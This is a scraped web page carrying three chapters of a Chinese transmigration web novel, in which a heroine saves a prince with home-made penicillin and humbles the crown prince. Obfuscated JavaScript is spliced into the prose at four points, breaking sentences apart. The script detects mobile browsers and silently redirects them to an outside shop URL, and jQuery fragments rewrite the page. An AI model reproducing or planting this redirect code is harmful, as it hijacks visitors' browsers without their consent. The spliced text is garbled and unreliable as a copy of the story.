大太监引人入了锦绣宫,十九皇子见到礼诗涵来,瑟缩了下。少女跪在灰色的石板上,一身鹅黄色衣裙愈发显得人比花娇。老皇帝安抚了下伏在怀中、愈发不满的淑妃,这才让人平身。 少女缓缓抬起脸来。 老皇帝讶异于她眼神中居然摆着那么明显的愤怒。果然还是小女孩。 老皇帝捋了捋胡子,刚想说些什么,只听少女张口就道:“陛下,我爹爹说他誓死不愿站在十九皇子那派。十九皇子处处不如我,污蔑我对他如何,小女也绝不愿与如此卑劣之人结亲。那你诛我全族罢!我代表上官家,绝对不说一个不字!” 她当即行了五体投地大礼。 如晴天霹雳当即轰在了其他三人的头上。 如果上官梨哭哭啼啼说自己未做,那皇帝会训斥她一顿,然后和稀泥地赐婚。 但如果上官梨直接把桌子掀了,并且要求所有人一起死——上官丞相位高权重,上官家树大根深,兼执掌兵权,若要猛地连根拔起,怕是要连朝廷都要连着一起被掀摊子了。 现在换成老皇帝柔声细语地问她怎么受委屈了。 他是老了!但他也不想后人用他的年号命名一次乱世啊! 礼诗涵伏在地上,并不起来,道:“小女所求,不过公平而已。当时说好一起比赛冬泳,怎么只有小女参加,而十九皇子不参与呢?这也就罢了,十九皇子又与我比赛拳法,他输了,反而给他一个输家奖励,而又给我赢家处罚,又当如何呢?” 老皇帝一听,便知道淑妃究竟所做为何。 陈年老手段了。他还没当上太子的时候,便是以如此手段俘获皇后芳心的。但他做的时候没那么缺心眼,下手的时候选了夏天。 寒冬腊月的,把一个少女丢进冰窟窿里。怪不得人家恨死你了,宁可自己鱼死网破也要拉你下水。 老皇帝有气无力地挥手:“去,也让小十九与她比赛游泳一回。再予她些绫罗绸缎,回去做衣裳。” 左右侍卫当即上前架住十九皇子,十九皇子怕死了,当即哭叫着求他母妃为他做主。 淑妃恨死自己了,当初怎么想不开要拉拢上官丞相? 不拉拢上官丞相就不会想着对上官梨下手,不对上官梨下手,就不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760213|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 惹上这么个疯子了! 她当即也跪下来,楚楚可怜道:“如此天气,若下水,我儿若是染上风寒.......” “淑妃莫要担心。”礼诗涵认真道,“我是弱女子,尚且未得风寒,何况十九皇子是皇亲贵胄,吉人自有天相,不会有事的!” 真是气死人。 淑妃的心揪着,听见扑通一声,只觉得自己的心也浸在冰水里了。她也顾不上做女儿情态,染着蔻丹的指甲恨恨戳在礼诗涵的肩头,恨恨道:“岂不知过刚易折的道理?!你好自为之吧!” 当即扑出门去,叫着左右侍卫快把她的宝贝从冰水中捞出来。 礼诗涵从地上爬起来,困惑道:“我只是把淑妃对我做的事,在他的儿子身上做了一遍,为何她此时却如此愤怒?” 老皇帝百感交集,他招手叫来身旁宫女,玉手芊芊,接替淑妃的位置,给他喂点心吃。他识人无数,自然看出这丞相家的独女好似没见过人一样。 为人处世,一点也不圆滑。受委屈就要别人道歉,需知你家的权势很大,但对方却也并不是好惹的,你惹了这一次,对方岂不是还会加倍报复回来? 若礼诗涵是老皇帝的女儿,他会要求女儿和对方握手言和。 所以他是垂垂老矣的老头子,而礼诗涵是锋芒毕露的天才。 礼诗涵很快就想通了,用右手拳头猛击左手掌心,恍然大悟道:“定是因为她想引起我的注意。她把我当做对手,我应该和她比赛,而不是她的儿子!她觉得我没把她看在眼里了!” 她脑子里究竟都是些什么?阅人无数的老皇帝也困惑地看了她一眼。 . 礼诗涵抱着老皇帝赏赐的布匹高高兴兴地回家了。 她的事迹太过炸裂,想必在短时间内就会传遍整个都城利阳。上官家提前得到消息,故意不派马车接她,就是为了杀杀她的气焰。 哪怕你在圣上那里得到澄清,你也是我上官家的女儿,我不会给你道歉的,你若是没有家中支持,连一架马车也没有。 礼诗涵根本没意识到还有这种弯弯绕绕。 因为她小时候喜欢被叫公主大人,所以她爸爸妈妈干爸干妈还有小男友一起叫了她四年。 千万不能高看这种众星捧月的人的心眼。 如果淑妃没用那么暴力的手段,而是在暗中给她穿小鞋,她可能一辈子也发现不了,以为自己就是比较倒霉呢。 礼诗涵回家的方式很简单——她在路边拦了一辆马车,询问能不能捎带她一程。 那同样是个高门贵女的马车,认出是上官梨,如此小事,自然无有不允。 很不幸的是这个高门贵女爱打听,礼诗涵一寻思,又不牵扯到什么机密数据,当即就告诉她了。 当晚,利阳再次流传起了上官的传说。 这次是上官丞相气量狭小不容女儿,她被欺负了自己走回家,在雨中凄凄惨惨凄凄,多是一个小苦瓜。 顺便一提,这贵女也比较喜欢看话本子,用词比较富丽堂皇。 总之,礼诗涵穿越过来不到三天,上官丞相气晕三次了。 31. 第31章 上官梨(三) 礼诗涵决定回家。 回真正的家。 那个她无论什么时候回去,都有笑脸、耐心、尊重和爱的小家。 既然现在的穿越是她实验的结果,那如果能再进行一次实验,说不定能有回家的希望。 礼诗涵和侍女直白地打听了这个世界的科技发展水平,差得让她摇头。这里连火药都没被发明出来,是彻头彻尾的冷兵器时代。 但没关系,虽然不用妄想“TL-0726”这种现代科技的结晶产品,但若要她手搓出别的高当量炸药,她还是很有信心的。 礼诗涵的行动力很强。 主要是生怕自己原来的身体被火化了。 她如果穿回去却变成孤魂野鬼,一样吃不着干妈给做的鸡腿。晚了可就只能让她们烧给她吃了! . 上官丞相憋了一肚子火。上官梨的母亲在生完她之后不久去世,后来他新娶了一房小妾,让上官梨将她当做亲生母亲一样敬重。 他带上小妾,准备好好教训这个女儿! 一走进礼诗涵的小院,只听得哐哐哐巨锤敲击之声直冲耳膜,铿锵有力,有种莫名的魔性节奏。 竟是礼诗涵上半身缠着绷带,在院中热火朝天地打铁! 冶炼炉轰轰燃着烈火,院中弥漫着矿石独有的厚重气味,小池塘被她当做冷凝水,铁块放入其中,水蒸气发出震耳欲聋的尖叫声。在这寒冬,她做得热火朝天,热情洋溢,皮肤上都泛着粉色,汗水从她漂亮的脊背处滑下。 她拿起颈上的毛巾擦擦汗,瞧见两个目瞪口呆的大人,困惑道:“有什么事吗?” 礼诗涵大早上起来,先去铁匠铺子转了一圈。只觉得作品粗陋,钢材也差,完全满足不了她需要的条件。只好把炼炉、木炭、矿石以及一众材料买下,亲自动手。 上官丞相决定不跟女儿一般见识。 因为他觉得上官梨已经疯了。 绝对不是因为瞧见她一锤把食指厚的钢材直接锤烂了........ 礼诗涵把铁锤丢到一旁,用厚重的铁钳夹起一块断裂的材料,摇摇头。 这个世界的铁矿比她锤炼日本刀时用的还差。古代日本人吃的就已经很差了,这个世界的原材料还要更烂,也就意味着礼诗涵要花上更多的功夫在上面....... 没关系,礼诗涵想,无论如何都要回家。 想必爸妈应该也不在乎吃饭的时候,先给她烧上一碗。 礼诗涵的好日子过了没几天。她花了三天的时间寻来沙子烧制试管、烧瓶,还没来得及进行实验,宫中又派人来请她。 这次是来兴师问罪的。 因为十九皇子没有礼诗涵这种无比耐造而精力旺盛的体质,不幸染了风寒。 请了大夫仍然不大好,现在要病死了。 如果十九皇子病死了,那上官梨就不得不担上危害皇嗣的罪名了。 这可是大罪。 虽然人是老皇帝应允丢进冰窟窿里的,但老皇帝不能有错,只能是被小人蒙蔽,小人是谁呢?怂恿这一切的无知小女礼诗涵! 礼诗涵觉得这可太没有道理了! 但皇家会给你讲道理吗? . 锦绣宫中的地面一尘不染。礼诗涵被左右两个侍卫按着跪在地上,十九皇子在榻上烧得像个灯笼,淑妃靠在榻上恸哭,老皇帝被左右两个漂亮妃子搀扶着,肥胖的身躯像座山。 “小十九是朕的老来子。”老皇帝虽然老了,但是气势仍在,不怒自威,“朕不能见他死了还是个孤苦伶仃的啊!” 淑妃扑在老皇帝怀中,声音已经哭哑了,虚弱无比,却藏着无尽的怨毒,她道:"我要她陪葬!我的儿子要死了;而造成这一切的女人不该活着!" 这更没有道理,造成这一切的不是她自己吗? 礼诗涵听完,明白这是要他们真的要让自己陪葬结冥婚。 她搞不懂大人物都是怎么想的,本着实事求是的态度,认真道:“你们弄错了。他若死,是因为起了坏心,对我图谋不轨,是罪有应得,不应该牵扯到我身上。而且他现在就打不过我,若是强迫我和他结了婚,在地下还是要被我压下一头啊?” 她这话一出,十九皇子这红灯笼都要急得闪烁起来了,淑妃哭得更凶了。 老皇帝被她们哭得头痛,也一眼看出礼诗涵是真的没明白。 淑妃从小和十五个兄弟姐妹一同长大,后来又和一百多个嫔妃宫斗,见过的勾心斗角比上官梨吃过的盐还多。 恐怕从来没见过礼诗涵这种直来直去的傻子。 礼诗涵从没想过自己的死,自然不会有对生死的敬畏。 老皇帝叹了口气,道:"上官梨啊,你需得知道一件事。在这大阜,他的命,"老皇帝点点榻上的十九皇子,又点点礼诗涵,又道,“比你的命贵!” 礼诗涵明白了。 真是一个无比险恶的地方! 她悻悻道:“那他不死,我就不用给他陪葬了吧。若我有方法可保救他一命,不知陛下肯信我吗?” 老皇帝不信。 一个女流,能有什么本事? 淑妃眼中迸发出可怕的光。她披头散发,相比之前的精致妇人模样,简直是天差地别,阴沉沉道:“你可立誓?若是我儿死,你九泉之下也不得超生,生生世世受炼狱苦刑!” 一阵闷雷声响。利阳今年的冬天无雪,只有刺骨的严寒。若是寻常人,应会被这种巧合吓怕—— “我立誓。”礼诗涵又不信神佛。她看看红灯笼,问道,“太医说他还能活几日?” “三日。”淑妃暗淡道。 “足够了。”礼诗涵胸有成竹道,“你且去等我做药予他。” “不行!万一你趁机跑了怎么办?” 淑妃自然不知礼诗涵不会骑马,不会驾车,对大阜的了解约等于零,给她三天她甚至跑不出利阳地界。 礼诗涵忽然心想,淑妃是个妃子啊,肯定比她这个闺阁小姐渠道广、人脉多、财力足! 她当即道:“这好办。你遣人去将我院中的工具取来。我在你的锦绣宫,与你同吃同住,保证不逃跑。” “相应的,你要帮我寻些材料来。咳咳,这都是为了救你的儿子。” . 淑妃其实也并不相信礼诗涵能救他的儿子。 她生过两个儿子,都是体弱多病。大儿子正是发了一场高烧后就没了的。 她不认为上天会眷顾她。 淑妃只是怕上官梨跑了而已。 她的父亲是丞相,虽说现在和礼诗涵闹得很难看,但说不定什么时候就会回心转意,燃起那一丁丁点的父爱呢? 淑妃当即决定这三天不睡觉,死死盯住礼诗涵,生怕她做些什么小动作。 她太低估礼诗涵了。 礼诗涵有着无穷的精力和旺盛的好奇心,还有着愈发膨胀的自信心,就是个不折不扣的疯女人! 瞧见那一人高的大铁炉被搬进她的锦绣宫,淑妃在自己儿子的榻前也坐不住了。 礼诗涵穿着完全不符合身份的一身短打,也是气喘吁吁,正指挥着汗如雨下的几个太监,她道:“还需得寻来上好的碳粉、发霉的柑橘、甜瓜、橙子,哦,还有干净的植物油,至少一千个瓦罐、一千根银针,最烈的烈酒,这些都是越多越好.......再帮我抓一千只老鼠!” 淑妃想到自己要和一千只老鼠同居一室,只觉得浑身鸡皮疙瘩一起炸开。 她连忙喝止这疯女人:“上官梨!你疯了不成?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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......好险,差点看见太奶了。 “太医说娘娘也曾学过施针。”礼诗涵道,“拜托您了,具体怎么做我已经和太医爷爷说过了,您去问他就行!” 直到半夜,淑妃还在被那黑色老鼠邪恶的眼神恶心地睡不着觉。 更可能是一墙之隔有一千多个被扎过针的老鼠在吱吱哀嚎的原因!!! 淑妃在床榻上翻来覆去,实在是忍不了了,直挺挺地坐起身。睡在她脚边的侍女惊醒,淑妃冷冷道:“睡你的。本宫要去瞧瞧那小贱人还睡不睡得着!” 礼诗涵睡姿并不好,整个人团成一团,如墨般的黑发散开,愈发衬得脸蛋白嫩,像朵含苞待放的小花。 她白天进行了无比充足的劳动,现在睡得很沉。 梦里妈妈和干妈正伏在她的棺材上嚎啕大哭,爸爸在她的葬礼上接待宾客,莫名和谁打了起来,最后蹲在地上流眼泪。 “.......别哭啊......”礼诗涵像是隔着一层透明玻璃,无论她怎么用手去抓,都无法找到那个让她穿进来的兔子洞。她喃喃道,“妈妈........我还在这里呢.......” 听说上官梨的母亲去世当天,上官丞相就把小妾带进了门。大概就是他办的事实在太缺德了,遭了天谴。十五年过去,现在都阳痿了,除了上官梨再无所出。 如此想来,她这种性子,倒也不是不能理解。 淑妃染了蔻丹的手抓住礼诗涵到处寻摸的右手,那只手指节处已经是伤痕累累。她捏了捏,把她整只胳膊塞进被子里,把她整个人如毛巾卷一样狠狠裹住。 “热死你!” 淑妃冷冷道。 32. 第32章 上官梨(四) 礼诗涵没醒。 她是在现代能一连按掉十几个闹钟的人物,要爸爸妈妈的早安吻才起得来。 礼诗涵把自己往暖洋洋的被窝里拱了拱,又安心睡去了。 淑妃盯着自己的那只手,一时的怜悯过去,她开始觉得自己是鬼迷心窍。再加上自己失眠,儿子病重,上官梨睡得这么香,她越想越不平衡,当即用力摇晃上官梨的双肩。 “起来!你给本宫起来!” “???”礼诗涵睡眼惺忪,瞧见淑妃有些恼羞成怒,迷迷瞪瞪道,“怎么了?” 淑妃也不知道自己是怎么了。 和一个小女孩置气本来就是大人的不对。 “哼!”淑妃气哼哼地走了,拂袖道,“睡你的觉!” 砰一声,她用力甩上了东配殿的门。 “???”礼诗涵懵懵地探头,天色还黑着,她也分辨不出现在是个什么时辰,反正不是该她起床的时刻。 她纳闷道:“古人这么勤奋吗?” . 淑妃老实了一天。 但她很快就再也安分不下来了。 礼诗涵那些用了药的老鼠,全死了。 从霉菌中提取出来的东西,就算加以处理,真的能治病吗? 十九皇子的病每况愈下,已经开始看到一些幻觉。 淑妃又开始疑神疑鬼了。 礼诗涵重新让人去采购了一大批柑橘,把死掉的老鼠尸体烧掉,正重新开始试图分离青霉素。 她顾不上吃饭,这几日餐食都是侍女送到她口中的。她习惯性地咬了一口送到嘴边的包子,舌头瞬间麻了,当即叫苦不迭,道:“我说了许多遍,我吃不得辣!快快快,叫人也把你们厨房里的辣椒全丢了。” “大阜怎么会养出你这样的女子?”拿着包子的正是眼下两个大黑眼圈的淑妃,“我儿命不长了!你的药真的能做出来吗?” 礼诗涵把原液倒入过滤装置,挑挑拣拣地咬了一口包子边儿,笑道:“一定能。” “如果有实验室,这种东西哪怕对我这种外行人来说也是洒洒水而已。可是现在没有,我就只能用最原始的办法了。” 淑妃没明白她说的是什么。这个被焦虑多思快折磨疯了的女人只会机械地道:“是什么?” “重复!” “这些霉菌中有着对病菌专用的特效药。它确确实实正存在于这世上,我只要把它找出来就行了。又恰好宫里有着数不清的人手。” 烧瓶在火源上咕嘟咕嘟地冒着泡泡。空气中弥漫着酒、霉菌、腐烂水果和发酵过的味道。并算不得好闻,淑妃看不到任何希望。 听起来倒是简单。但已经死了一千只老鼠,一千份霉菌做出来的都不行。 淑妃没说话。但从她的表情上,礼诗涵已经看出了她想说什么。 礼诗涵把火熄了,竖起一根食指,咳咳两声,道:“从前,有一些人,或许是因为好奇,或许是在自己的世界过得不如意,疯狂地想要去另一个世界。但是他们怎么也去不了。” “与此同时,还有另一个无辜的女人。她在原本的世界过得很幸福,有很爱她的家人。可是她却踩了兔子洞,去了另一个世界。” “提问!这能说明什么?” 简直就像是在教学小孩一样,淑妃懒得理她。但礼诗涵瘾很大,她做课代表是会主动给同学讲题的类型。 “......”淑妃拗不过她,冷冷道,“说明她比较倒霉!” “不对。”礼诗涵大怒,她这可是能拿诺贝尔奖的遭遇啊,别人想要还没有呢。 她认真道:“兔子洞既然被女人踩到了,说明它本来就在那里,只是没人发现。女人是第一个发现的人,她运气很好。而古往今来,所有的科学发明,其实都离不开运气。” “而我恰好很幸运。”礼诗涵一拍胸脯,用咏叹调道,“天命在我啊!” 淑妃的脚指微微抓地。她始终无法理解这种自信满满地说出慷慨激昂台词的人。 她丢下一句话逃也似地跑了,道:“还有一日。” 那被沾了药物的银针刺进血管的老鼠还在纷纷死去。 连老皇帝都被锦绣宫惊动了,本着对妃子疼爱的心,想着探望下淑妃,一进门,只见一个熊熊燃烧的铁炉,丞相家的娇媚小女正在用它烧着一块奇怪的圆形玻璃,纤纤玉手都要转出残影了; 他风情万种的淑妃正熟练地掐住一只有手掌长的肥大老鼠,把涂满药的银针快准狠地扎入它的血管,动作熟练无比,像个狠辣的屠夫。 老鼠吱吱惨叫,宫中每个人都状若癫狂,忙得脚不沾地,以礼诗涵为中心,锦绣宫变成了一个巨大的陀螺,每个人都被抽得团团转。 “.......”老皇帝被震住了。 忽地西配殿中窜出一个欣喜若狂的侍女,她双手捧着一只呆头呆脑的老鼠,又笑又跳,手舞足蹈,道:“它的病情减轻了!减轻了!” 呼啦啦整个锦绣宫都围了上去,其他太监侍女七嘴八舌地道:“真的??”,“我怎么觉得还是在流鼻涕?”,“这个冻得不够吧?”,“谁说的,我亲眼看见它昨天快不行了的!!”....... 连淑妃都被挤到了人群后。 她怒道:“反了天了?” “让让,让让。”下人们一瞧是礼诗涵,立刻给她分出一条路来。 这三日,他们已经被这个吹毛求疵的女人折磨得够呛,不知道她哪里想出来那么多规矩。总之,再也不敢忤逆她。 小侍女小心翼翼地把老鼠递到她眼前。 礼诗涵和老鼠大眼瞪小眼许久,沉吟片刻:“.......嗯。” 淑妃踮着脚:“嗯?” “你儿子有救了。”礼诗涵一把扯下老鼠尾巴上的标签,挥舞胳膊,大声道,“太医爷爷,3190号可以用!!!” 在3500次堪称瞎猫撞死耗子的实验中,礼诗涵能寻到一株纯净的青霉菌,堪称奇迹中的奇迹。 至少在这一刻,天命确实在她—— 用药又三日后,十九皇子的烧退了。 脑子没坏,人没事。 淑妃十分感动,决定让十九皇子认礼诗涵当干娘——当然被礼诗涵拼死拒绝了。 又三日后,礼诗涵高高兴兴地带着淑妃允诺给她雇的三个铁匠,还有自己的瓶瓶罐罐大铁炉,重新回了她的小院,开始将三个铁匠抽得像陀螺一般忙碌。 她再次在都城掀起的轩然大波,利阳人可怕地发现,自己已经习惯了! 如此奇药,太医们连番研究后,也不得不承认这药对部分热症有奇效,于是夸赞她是个不世出的天才。 上门拜访后发现礼诗涵其实对药理一窍不通,又酸溜溜地说若是让他们上,他们也能研制出此药云云。 礼诗涵把这些都抛在脑后。她已经沉迷于她的文艺复兴——火药不难做,硝石、硫磺和木炭就可以制成。 问题是,这里的矿石太差了,杂质多得令人头痛。礼诗涵简单地搓了把小燧发枪出来,但开两枪就炸膛了,高热和后坐力让枪管裂成两半。 打一个不太恰当的比喻,这个世界的地质就像是把地球放在破壁机里日一声打成糊糊,再放在圆形的模具里重新凝固。 除却金银因固有的惰性而容易分离些,一块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17765715|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 土壤里就可能有几十种元素相亲相爱。 礼诗涵决定先朴素地引燃些炸药包试试。 利阳多山,礼诗涵生怕自己胡搞弄出山体滑坡,害死许多人性命。于是每天天不亮就开始往城郊跑,在没人的角落里砰砰乱炸。 利阳人睡得早,起得也早,礼诗涵那张脸又漂亮惹眼。这么个女子天天牵着(不会骑)一只载满货物(炸药包)的马出城,自然传出了许多风言风语。 有些人说,丞相家小姐在郊外有了情人,已经私相授受;还有人说,上官梨一个高门贵女,却爱上一个路边的书生,正在救济书生以待他考取功名;甚至有人说,上官家已经完蛋了,上官梨是在转移财产以便跑路....... 以上种种,全都没有传进礼诗涵的耳朵里。 她炸药炸多了,现在每天有点耳鸣。 但上官丞相得知消息之后,大怒。 因为他是真的打算把上官梨卖......不是,嫁出去。 礼诗涵经此一役,在京城中的名声水涨船高。 不管她性格突然变得多么古怪,但她有能力,有才干,有许多好人家仍然透露出相看之意。毕竟这样的人讨来做当家主母是个好材料。 上官丞相也有意和女儿修复关系。 毕竟他们还是一家人。 最最重要的是,有一个让人绝对难以拒绝的人,向上官家递出了橄榄枝。 当朝太子。 上官丞相有种预感,绝对不能让上官梨知道此事,否则她一定能把这事搅翻了天。 三书六礼在暗中悄悄进行着,但若是上官梨和别人有了肌肤之亲,此事可是也要黄了! 太子提了个主意:“小十九怯懦。你女儿没见过真正的男子什么样,你寻个机会让她见我一面。” 上官丞相自然满口答应。但礼诗涵一天天地寻不到人,每天天不亮就出门,天黑方归,定然是在躲他! 他蹲了几天蹲不到人,一时愤怒,在女儿院前熬了一宿,却没见女儿出门的身影。 礼诗涵连续引爆了五十次□□,这是“TL-0726”以极小剂量引燃的次数。 但那个带她来的兔子洞并没有出现,她也没能回去。这个法子不行。 礼诗涵十分沮丧,倒在床上一下子睡到日上三竿。心细如发的贴身侍女帮她梳洗好,亲手喂她吃东西,她立刻被哄好了。 我是天才嘛,礼诗涵一边大嚼荷花酥,一边心想,不过是多花些时间做别的炸药。 用过午饭和饭后小食,精神奕奕的礼诗涵终于在自己的门前发现了眼下挂着两个黑眼圈的上官丞相。 “.......” 礼诗涵对上官梨的这父亲没什么好感。 她当做没看见,转头继续对贴身侍女撒娇道:“晚饭我要吃用糖炒的松子和玉米,还要吃八宝饭,一点辣椒也不许放。” “站住!”眼看礼诗涵和贴身侍女要说说笑笑地离开,直接忽略他这个糟老头子,上官丞相出离愤怒了,“你眼中还有没有我这个父亲?.......算了,你还是不必回答了!” 因为礼诗涵的答案必然就是“没有”。 上官丞相从脸上挤出一个扭曲的笑,道:“明日......不,就今天,你呆在家里,哪也不许去。有个人要见你。” 礼诗涵困惑:“谁呀?我很忙的。” 上官丞相眼中流露出一种轻蔑,一种看不起小丫头片子的眼神,他冷酷道:“雄性中的雄性,男人中的王!” 礼诗涵:“.................” 她被这扑面而来的油腻气息给震住了。 33. 第33章 上官梨(五) 礼诗涵同意了上官丞相的要求。 无他,若是旁边有人说诶你看那里有个帅哥,礼诗涵可能头都不会抬一下。 但如果有人在人群中振臂高呼自己是猴王转世,礼诗涵高低要瞧瞧这人是不是撞到脑子了。 上官丞相吩咐十几个侍卫牢牢把守客堂。礼诗涵乖巧地端坐在黄花梨打造的椅子上,一身绿芽似的衣裙,小脸嫩的能掐出水来。 贴身侍女从外头给她取了条狐狸毛的披肩来,轻轻给她围在颈上。礼诗涵那点未消下去的脸颊肉戳在上面,初露锋芒的美艳都被压下一层,显得像个还在贪嘴的小孩。 贴身侍女咯咯笑起来。 “干嘛呀?”礼诗涵精力旺盛,在这点着炉火的屋子里有点热。面对坏笑的贴身侍女,她眯起眼睛,犀利道:“你做什么坏事了?” “没有,不敢。”贴身侍女柔柔道。 “???”礼诗涵道,“我不信,你站住!” 二人嬉闹间,一道身影推开大门,踱步走近。瞥见此人服饰上绣纹,贴身侍女立刻跪下去,低声道:“大人。” “哈哈,年轻好啊,有活力。”那人哈哈哈哈哈地莫名笑了一阵,道,“这是家事,下人在此处坏了气氛,还不快退下!” 这人约莫五十多岁,须发都白了一半,一身漆黑的衣裳,上面有礼诗涵辨认不出的花纹,面上有一种莫名的高傲。他确实十分魁梧,但那是男人才会引以为傲的魁梧。叫礼诗涵看了,很担心他的内脏健康。 他不再说话,他的侍卫也不开口,笑吟吟地看着礼诗涵。贴身侍女噤若寒蝉,拼命给礼诗涵使眼色。 礼诗涵从来不会看人眼色,直白地问:“老爷爷,你来我家有什么事吗?我爹他出门去了。” 贴身侍女没绷住。 太子的贴身侍卫也没绷住。 大阜的太子是名正言顺的嫡长子。 大阜人结婚生子都很早,当老皇帝八十八岁的时候,太子早成了老邦菜....... 但从十八岁到八十岁的男性,都喜欢漂亮女孩子。被漂亮女孩子顶撞了,也绝不认为她们敢愤怒,只会觉得是在调情。 太子并不生气,笑道:“小孩子脾气罢了。等你嫁人了,长大了些,就知道有个男人倚靠有多重要。” 礼诗涵皱眉:“?” 贴身侍女一见礼诗涵神色,立刻扑上来想捂礼诗涵的嘴。 礼诗涵的嘴巴显然更快一步。 她道:“为什么?我再过三十年也不需要别人搀扶。哦,我明白了,爷爷你腿脚不好了经常要人帮,需要轮椅不是?我可以给您做一把,这种小东西我很擅长做的。” 贴身侍女转而捂住了自己的脸。 太子被激怒了,道:“你想来试试孤的身体尚还硬朗吗?” 太子表态了,太子侍卫立刻上前一步,雪亮的刀锋出鞘几寸,高大的阴影笼罩住礼诗涵茫然的小脸,气氛剑拔弩张。 在如此紧张的气氛中,礼诗涵跃跃欲试,摩拳擦掌道:“好啊。“ “扳手腕还是俯卧撑?” 众人:“.......” 礼诗涵生得那般惊人美貌,从小到大,无数天降想要横刀夺竹马王宇航的爱。要知道他们都没成功,绝不是因为王宇航手段太高。 情商太低的礼诗涵瞧着凝固了的众人,困惑道:“怎么不说话了?是不是怕了!” 太子:“............” . 在撸起袖子的时候太子觉得自己又重燃青春了一把。 和弟弟们一同读书时也有过年少不懂事的时候,嬉笑打闹像真正的兄弟一样。可惜皇家没有真情,所以他从来没输过。 太子的贴身侍卫做裁判,比赛被定在一张黄花木的八仙桌上。 他显然是第一次碰上这种事情,站在二位身份显赫的大人物中间无助地像个太监。 礼诗涵挽起衣袖,露出如玉般莹白的一截手臂,优美而利落的线条让人忍不住把目光在上面停留。 两人分列桌子两边,太子握住礼诗涵的手,忍不住心猿意马,趁机摩挲两下,刚觉出这女子的手似乎并不如想象中柔嫩,就感觉一股巨力从二人接触的地方传来! 这只甚至能称得上是纤细的手臂怎么会有这么大的力量?怎么能有这么大的力量? 好女子! 太子吃了一惊,手臂上青筋猛得炸起,依然无法抵挡这势如千钧的力道。 在四双眼睛的注视下,他的手被纤细而修长的手指一点点压下。 太子脸憋得通红,挺胸收腹,用尽全身肌肉,依然只能稳住局势,不能挽回颓势。 这.....这.....太子侍卫犹豫着不敢报结果,贴身侍女扑上去猛得摇晃他:“这位大人,你瞎吗?求你了,快让这一切结束吧!” 太子面容已然因为过分用力而扭曲,他道:“我可是当朝太子!” 礼诗涵脸也一样憋得通红,断续道:“太子.......就输不起吗?” 她指节用力到透出青白色,猛得收力又猛得一个发力,两人交握的手出现大幅度的摇摆,哐!太子的手背被狠狠惯在桌板上! 这下已经不必多余宣布结果了。 “我赢了!”礼诗涵狂揉手臂,还不忘抽空竖起一个大拇指,高兴道,“老爷爷,你也是老当益壮!哪怕是青年男人,能和我难分伯仲的也不多。” 上官丞相一直在偷听这里的动静。 他生怕这个脑子突然坏掉的女儿冒犯太子。 太子已经做了五十年的太子了,在老皇帝精力不济的现在接手了不少政务,还是看着许多朝臣长大的。不出意外他一定会是下一任的皇帝。 谈话声隐隐约约,上官丞相提着心。忽地谈话声停了一阵,又传来一声巨大的碰撞声。 上官丞相立刻假装踱步到了客堂,推开大门,假笑道:“太子殿下,谈的如何啊?” 太子从未有一刻觉得自己如此苍老。 居然会输给一个小女孩? 他不敢置信地瞧着自己的手,上官丞相的声音如耳旁风般刮过。他游魂似地走了,自尊大受打击。 上官丞相不明所以,但看礼诗涵脸颊绯红,以为是小女儿羞涩,顿时喜滋滋道:“那婚期.......” “什么婚期?”贴身侍女给礼诗涵擦着额角的汗水,礼诗涵抿了口茶,严肃道,“上官梨的父亲,你不能再与别人结婚了。你与上官梨的母亲结亲时,就未对她忠诚。你若是再结亲,对现在这个哪怕你阳痿、依然对你不离不弃的妾室多残酷!” “........” 上官丞相真想一把掐死礼诗涵。 . ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771866|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 上官丞相走后,贴身侍女才细细与礼诗涵讲述其中的凶险之处。 礼诗涵挺不能理解为什么已经有十八个小老婆的老头还要找她结亲。但无所谓了,瞧太子离开的模样,应该对她死心了吧。 她忙得很,很快又沉浸在无尽的化工冶炼中。 和当朝太子扳手腕这种事,自然又在都城小火了一把。但这相比于她干出来的其他事情,只能算小小的风波。 锦绣宫中,气质成熟的女子坐在窗边,心不在焉地欣赏自己新染的指甲。 几步之遥的床榻上,传来深重而老迈的咳嗽声,这是老皇帝在睡梦中的声音,肺部如同老迈的风箱。 侍女对她小声耳语几句,淑妃冷冷道:“只有她干得出这种事!没被下狱真是走了狗屎运!” 侍女小声道:“是。太子做了这么久的太子,已经算半个圣上,半辈子都没遇见这种忤逆他的人。那位小姐.....怕是要不好了。” 